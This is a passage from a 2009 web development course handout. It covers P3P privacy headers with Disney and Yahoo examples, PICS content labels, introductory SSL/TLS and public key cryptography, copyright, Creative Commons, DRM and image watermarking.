10. <STATEMENT> 11. <IDENTIFIABLE><no/></IDENTIFIABLE> 12. <CONSEQUENCE-GROUP> 13. <CONSEQUENCE>a site with clothes you would appreciate</CONSEQUENCE> 14. <RECIPIENT><ours/>/RECIPIENT> 15. <PURPOSE><custom/><develop/></PURPOSE> 16. <DATA-GROUP> 17. <DATA name="dynamic.cookies" category="state"/> 18. <DATA name="dynamic.miscdata" category="pref"/> 19. <DATA name="user.gender"/> 20. <DATA name="user.home." optional="yes"/> 21. </DATA-GROUP> 22. </STATEMENT> 23. <STATEMENT> 24. <IDENTIFIABLE><no/></IDENTIFIABLE> 25. <RECIPIENT><ours/></RECIPIENT> 26. <PURPOSE><admin/><develop/></PURPOSE> 27. <DATA-GROUP> 28. <DATA name="dynamic.clickstream.server"/> 29. <DATA name="dynamic.http.useragent"/> 30. </DATA-GROUP> 31. </STATEMENT> 32. </POLICY>
Page 49 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
P3P in HTTP Header, Compact P3P Policy
An example with Disney.com
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
view plain copy to clipboard print ?
1. GET http://disney.go.com/ 2. User-Agent: lwp-request/2.06 3. 4. GET http://www.disney.com/ --> 301 Moved Permanently 5. GET http://disney.go.com/ --> 301 Moved Permanently 6. GET http://disney.go.com/index --> 200 OK 7. Cache-Control: max-age=60 8. Date: Wed, 30 Apr 2008 14:45:40 GMT 9. From: DOLHIGHWEB01 10. ETag: "403e90bfd0aac81:14a9" 11. Server: Microsoft-IIS/5.0 12. Content-Length: 11136 13. Content-Type: text/html; charset=iso-8859-1 14. Last-Modified: Wed, 30 Apr 2008 14:44:52 GMT 15. Cache-Expires: Wed, 30 Apr 2008 14:45:52 GMT 16. Client-Date: Wed, 30 Apr 2008 14:45:41 GMT 17. Client-Peer: 198.105.194.11:80 18. Client-Response-Num: 1 19. P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" 20. Set-Cookie: SWID=D68C5B61-9660-4AEB-9939-5D731B910809; path=/; expires=Wed, 30-Apr-2028 14:45:41 GMT; domain=.go.com;
Page 50 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Privacy for Your Web Site
Creating a P3P Policy:
Make Your Web Site P3P Compliant: How to Create and Publish Your Company's P3P Policy
Third party privacy services:
TRUSTe BBBOnline
Page 51 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Content Selection: PICS
Platform for Internet Content Selection (PICS) from the W3C
The Platform for Internet Content Selection (PICS, http://www.w3.org/PICS/) specification enables labels (metadata) to be associated with Internet content. It was originally designed to help parents and teachers control what children access on the Internet, but it also facilitates other uses for labels, including code signing and privacy. The PICS platform is one on which other rating services and filtering software have been built.
PICS allows for self-rating as well as third-party rating.
Third-party rating systems:
Internet Content Rating Association MedCIRCLE
P3P-aware tools:
Microsoft Content Advisor for IE
Page 52 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
PICS
PICS labels can be in:
HTTP Header (PICS-Label) "link" element in "head" that points to an XML document containing labels
HTTP Header
An example with Yahoo!. A "PICS-Label" HTTP header is returned:
PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l gen true r (n 0 s 0 v 0 l 0))
PICS-Label Header: PICS-Label: (PICS-1.1 "http://www.icra.org/ratingsv02.html" l r (cz 1 lz 1 nz 1 oz 1 vz 1) gen true for "http://www.yahoo.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0) gen true for "http://www.yahoo.com" r (n 0 s 0 v 0 l 0))
"link" to RDF document
view plain copy to clipboard print ?
1. GET http://www.yahoo.com/ 2. User-Agent: lwp-request/2.06 3. 4. GET http://www.yahoo.com/ --> 200 OK 5. Cache-Control: private 6. Connection: close 7. Date: Wed, 30 Apr 2008 14:56:26 GMT 8. Accept-Ranges: bytes 9. Vary: User-Agent 10. Content-Length: 9490 11. Content-Type: text/html; charset=utf-8 12. Content-Type: text/html; charset=UTF-8 13. Last-Modified: Wed, 30 Apr 2008 14:38:17 GMT 14. Client-Date: Wed, 30 Apr 2008 14:56:26 GMT 15. Client-Peer: 69.147.114.210:80 16. Client-Response-Num: 1 17. Content-Base: http://www.yahoo.com/_ylh=X3oDMTFnY21hbDgyBF9TAzI3MTYxNDkEcGlkAzEyMDk1NjYwNjIEdGVzdAMwBHRtcGwDdGFibGUuaHRtbA--/ 18. P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND
19. PICS-Label: (PICS-
view plain copy to clipboard print ?
1. <link rel="meta" 2. href="http://www.example.org/labels.rdf" 3. type="application/rdf+xml" 4. title="ICRA labels" />
Page 53 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Yahoo! P3P and PICS
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
PICS-Label: (PICS-1.1 "http://www.icra.org/ratingsv02.html" l r (cz 1 lz 1 nz 1 oz 1 vz 1) gen true for "http://www.yahoo.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0) gen true for "http://www.yahoo.com" r (n 0 s 0 v 0 l 0))
The P3P policy refers to:
http://p3p.yahoo.com/w3c/p3p.xml
http://privacy.yahoo.com/us/w3c/p3p_us.xml
Page 54 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
HTTPS: SSL and TLS
Encryption of communication between browser and server.
SSL Secure Sockets Layer
TLS Transport Layer Security
Terms
Plaintext Ciphertext Key
Cryptographic Algorithm
Cryptography Pieces
Symmetric
Public Key (Asymetric) Digital Signatures Message Digests
Page 55 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Symmetric Key Cryptography
Page 56 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Public Key Cryptography
Page 57 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Digital Signatures
Page 58 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Public Key + Signature
Page 59 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Digital Envelopes
Public key cryptography is much slower than symmetric key cryptography. In practice, the two systems are usually combined:
Establish a common session key Browser generates a "session key".
Browser encrypts "session key" with Server's public key. Browser sends encrypted session key to Server. Server decrypts session key with Server's private key
Send Messages Browser and Server use common session key to encrypt and decrypt message.
Page 60 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Digital Certificates and Public Key Infrastructure
How do you distribute your public key? How do you obtain someone's public key?
Certifying Authorities (CAs)
1. Generate a public/private key pair 2. Send your public key to a CA 3. CA verifies your identity and signs your public key with its own private key 4. Your signed certificate identifies you; analagous to your "passport".
CA's public certificates are bundled with a Web browser. An example of Firefox's Certificate manager:
Some CA Companies
CyberTrust
Verisign Thawte
Page 61 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Transport Layer Security (TLS) and Secure Sockets Layer (SSL)
Encryption system Operates at the TCP/IP layer (not specific to HTTP)
Server Certificate Client Certificate Cipher Suite (symmetric; message digests; authentication) negotiated between client and server
Page 62 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Copyright
Copyright Information
US Copyright Office Copyright and Fair Use (Harvard OGC)
Copyright Crash Course (Univeristy of Texas OGC)
Creative Commons
Creative Commons
Creative Commons is a nonprofit corporation dedicated to making it easier for people to share and build upon the work of others, consistent with the rules of copyright.
Creative Commons provides free licenses and other legal tools to mark creative work with the freedom the creator wants it to carry, so others can share, remix, use commercially, or any combination thereof.
In the News
Lawsuit over website links in spotlight Copyright violation or fair use to be decided By Robert Weisman Globe Staff / January 23, 2009
Page 63 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Digital Rights Management
Digital Right Management from Wikipedia Digital Rights Management information from Electronic Freedom Foundation (EFF)
Page 64 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Protecting Images
Lower-resolution Hacks and Obfuscations
Watermarks Visible
Obtrusive
Unobtrusive Invisible
Resources:
Watermark.com
How to protect your digital images with watermarks and without watermark: comparison of methods from Watermarker.com AiS Watermark Picture Protector
Digimarc for Images
Table of Contents | All Slides | Link List | Examples | CSCI E-12
Page 65 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html